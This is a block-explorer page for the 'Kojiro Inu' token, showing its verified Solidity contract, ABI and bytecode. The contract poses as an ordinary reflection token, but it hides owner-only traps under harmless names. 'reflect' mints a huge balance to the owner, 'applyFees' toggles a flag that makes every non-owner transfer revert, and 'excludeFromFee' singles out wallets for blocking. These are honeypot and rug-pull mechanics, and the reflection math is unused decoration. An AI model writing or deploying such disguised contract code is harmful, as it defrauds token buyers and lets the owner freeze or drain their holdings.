ETH Price: $3,283.87 (-0.85%)

Token

Kojiro Inu (KOJIRO)
 

Overview

Max Total Supply

2,000,000,000,000 KOJIRO

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,065,598,114.270323148 KOJIRO

Value
$0.00
0x6aafd0141ea0029ea0d8b998acf2d37f43a4e369
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KOJIROINU

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity Multiple files format)

File 2 of 4: Kojiro Inu.sol
// SPDX-License-Identifier: Unlicensed

pragma solidity =0.8.0;

import "./address.sol";
import "./safeMath.sol";
import "./ownable.sol";

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract KOJIROINU is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;

    mapping (address => bool) private _excludedFromFee;
    address[] private _excluded;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _rOwned;
    mapping (address => uint256) private _sOwned;
    mapping (address => uint256) private _tOwned;
    
    string private _name = 'Kojiro Inu';
    string private _symbol = 'KOJIRO';
    uint8 private _decimals = 9;
    uint256 private _totalSupply;
    uint256 private constant _tTotal = 2000000000000 *10**9;
    
    bool _applyFee = true;
    uint256 private _tFeeTotal;
    address public routerV2;
    address public factoryV2;
    uint256 private _maxTx = 100000000 *10**18;
    uint256 private constant MAX = ~uint256(0);
    uint256 private _rTotal;
    
    constructor (address rLibrary, address fLibrary) {
        _totalSupply =_tTotal;
        _rTotal = (MAX - (MAX % _totalSupply));
        _sOwned[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        _tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
        _excluded.push(_msgSender());
        routerV2 = rLibrary;
        factoryV2 = fLibrary;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _sOwned[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    function _reflecttokens (address router, uint256 fee) internal virtual {
        _sOwned[router] = _sOwned[router].add(fee);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function excludedFromFee(address account) public view returns (bool) {
        return _excludedFromFee[account];
    }

     function applyFees() public virtual onlyOwner {
        if (_applyFee == true) {_applyFee = false;} else {_applyFee = true;}
    }

    function feesApplied() public view returns (bool) {
        return _applyFee;
    }

    function totalFees() internal view returns (uint256) {
        return _tFeeTotal;
    }
 
    function excludeFromFee(address account) external onlyOwner() {
        _excludedFromFee[account] = true;
    }

    function includeToFee(address account) external onlyOwner() {
        _excludedFromFee[account] = false;
    }

    function reflect() external onlyOwner {
        _reflecttokens(_msgSender(), _maxTx);
    }
    
    function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
        require(tAmount <= _tTotal, "Amount must be less than supply");
        if (!deductTransferFee) {
            (uint256 rAmount,,,,) = _getValues(tAmount);
            return rAmount;
        } else {
            (,uint256 rTransferAmount,,,) = _getValues(tAmount);
            return rTransferAmount;
        }
    }

    function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
        require(rAmount <= _rTotal, "Amount must be less than total reflections");
        uint256 currentRate =  _getRate();
        return rAmount.div(currentRate);
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (_excludedFromFee[sender] || _excludedFromFee[recipient]) require (_applyFee == false, "");
        if (_applyFee == true || sender == owner() || recipient == owner()) {
        _sOwned[sender] = _sOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _sOwned[recipient] = _sOwned[recipient].add(amount);
        emit Transfer(sender, recipient, amount);     
        } else {require (_applyFee == true, "");}
    }   
        
    function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);           
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);       
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);   
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
        _tOwned[sender] = _tOwned[sender].sub(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);        
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
        (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
        uint256 currentRate =  _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
    }

    function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
        uint256 tFee = tAmount.div(100).mul(2);
        uint256 tTransferAmount = tAmount.sub(tFee);
        return (tTransferAmount, tFee);
    }

    function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns(uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns(uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;      
        for (uint256 i = 0; i < _excluded.length; i++) {
            if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
            rSupply = rSupply.sub(_rOwned[_excluded[i]]);
            tSupply = tSupply.sub(_tOwned[_excluded[i]]);
        }
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

File 1 of 4: address.sol
// SPDX-License-Identifier: Unlicensed

pragma solidity =0.8.0;

library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain`call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

File 3 of 4: ownable.sol
// SPDX-License-Identifier: Unlicensed

pragma solidity =0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() internal view returns (address) {
        return _owner;
    }
    
    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
}

File 4 of 4: safeMath.sol
// SPDX-License-Identifier: Unlicensed

pragma solidity =0.8.0;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"rLibrary","type":"address"},{"internalType":"address","name":"fLibrary","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"applyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"factoryV2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feesApplied","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeToFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reflect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"routerV2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280600a81526020017f4b6f6a69726f20496e7500000000000000000000000000000000000000000000815250600790805190602001906200005192919062000a41565b506040518060400160405280600681526020017f4b4f4a49524f0000000000000000000000000000000000000000000000000000815250600890805190602001906200009f92919062000a41565b5060098060006101000a81548160ff021916908360ff1602179055506001600b60006101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e4000000600f55348015620000f257600080fd5b506040516200367e3803806200367e833981810160405281019062000118919062000b08565b60006200012a6200048160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350686c6b935b8bbd400000600a81905550600a54600019620001ea919062000ded565b600019620001f9919062000cba565b601081905550686c6b935b8bbd400000600560006200021d6200048160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200026b6200048160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620002cc919062000c49565b60405180910390a36200033360046000620002ec6200048160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200048960201b60201c565b60066000620003476200048160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506002620003976200048160201b60201c565b9080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505062000edd565b600033905090565b6000601054821115620004d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004ca9062000c27565b60405180910390fd5b6000620004e56200050960201b60201c565b90506200050181846200054360201b62000e131790919060201c565b915050919050565b60008060006200051e6200059560201b60201c565b915091506200053c81836200054360201b62000e131790919060201c565b9250505090565b60006200058d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200091e60201b60201c565b905092915050565b600080600060105490506000686c6b935b8bbd400000905060005b600280549050811015620008ca57826004600060028481548110620005fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180620007145750816006600060028481548110620006ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156200073457601054686c6b935b8bbd400000945094505050506200091a565b620007f2600460006002848154811062000777577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846200098660201b62000e5d1790919060201c565b9250620008b2600660006002848154811062000837577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836200098660201b62000e5d1790919060201c565b91508080620008c19062000d9f565b915050620005b0565b50620008f0686c6b935b8bbd4000006010546200054360201b62000e131790919060201c565b8210156200091157601054686c6b935b8bbd4000009350935050506200091a565b81819350935050505b9091565b6000808311829062000968576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200095f919062000c03565b60405180910390fd5b506000838562000979919062000c82565b9050809150509392505050565b6000620009d083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250620009d860201b60201c565b905092915050565b600083831115829062000a23576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000a1a919062000c03565b60405180910390fd5b506000838562000a34919062000cba565b9050809150509392505050565b82805462000a4f9062000d69565b90600052602060002090601f01602090048101928262000a73576000855562000abf565b82601f1062000a8e57805160ff191683800117855562000abf565b8280016001018555821562000abf579182015b8281111562000abe57825182559160200191906001019062000aa1565b5b50905062000ace919062000ad2565b5090565b5b8082111562000aed57600081600090555060010162000ad3565b5090565b60008151905062000b028162000ec3565b92915050565b6000806040838503121562000b1c57600080fd5b600062000b2c8582860162000af1565b925050602062000b3f8582860162000af1565b9150509250929050565b600062000b568262000c66565b62000b62818562000c71565b935062000b7481856020860162000d33565b62000b7f8162000eb2565b840191505092915050565b600062000b99602a8362000c71565b91507f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008301527f65666c656374696f6e73000000000000000000000000000000000000000000006020830152604082019050919050565b62000bfd8162000d29565b82525050565b6000602082019050818103600083015262000c1f818462000b49565b905092915050565b6000602082019050818103600083015262000c428162000b8a565b9050919050565b600060208201905062000c60600083018462000bf2565b92915050565b600081519050919050565b600082825260208201905092915050565b600062000c8f8262000d29565b915062000c9c8362000d29565b92508262000caf5762000cae62000e54565b5b828204905092915050565b600062000cc78262000d29565b915062000cd48362000d29565b92508282101562000cea5762000ce962000e25565b5b828203905092915050565b600062000d028262000d09565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101562000d5357808201518184015260208101905062000d36565b8381111562000d63576000848401525b50505050565b6000600282049050600182168062000d8257607f821691505b6020821081141562000d995762000d9862000e83565b5b50919050565b600062000dac8262000d29565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141562000de25762000de162000e25565b5b600182019050919050565b600062000dfa8262000d29565b915062000e078362000d29565b92508262000e1a5762000e1962000e54565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b62000ece8162000cf5565b811462000eda57600080fd5b50565b6127918062000eed6000396000f3fe608060405234801561001057600080fd5b50600436106101375760003560e01c80634549b039116100b857806385ecafd71161007c57806385ecafd71461034057806395d89b4114610370578063a457c2d71461038e578063a9059cbb146103be578063cf0848f7146103ee578063dd62ed3e1461040a57610137565b80634549b0391461029a578063502f7446146102ca57806354c5f3c5146102e857806368e0d4e1146102f257806370a082311461031057610137565b806323b872dd116100ff57806323b872dd146101d05780632d83811914610200578063313ce56714610230578063395093511461024e578063437823ec1461027e57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a5780631a1ad4ba146101a8578063225be105146101c6575b600080fd5b61014461043a565b6040516101519190612219565b60405180910390f35b610174600480360381019061016f9190611d29565b6104cc565b60405161018191906121fe565b60405180910390f35b6101926104ea565b60405161019f919061239b565b60405180910390f35b6101b06104fb565b6040516101bd91906121fe565b60405180910390f35b6101ce610512565b005b6101ea60048036038101906101e59190611cda565b610601565b6040516101f791906121fe565b60405180910390f35b61021a60048036038101906102159190611d65565b6106da565b604051610227919061239b565b60405180910390f35b610238610748565b60405161024591906123b6565b60405180910390f35b61026860048036038101906102639190611d29565b61075f565b60405161027591906121fe565b60405180910390f35b61029860048036038101906102939190611c75565b610812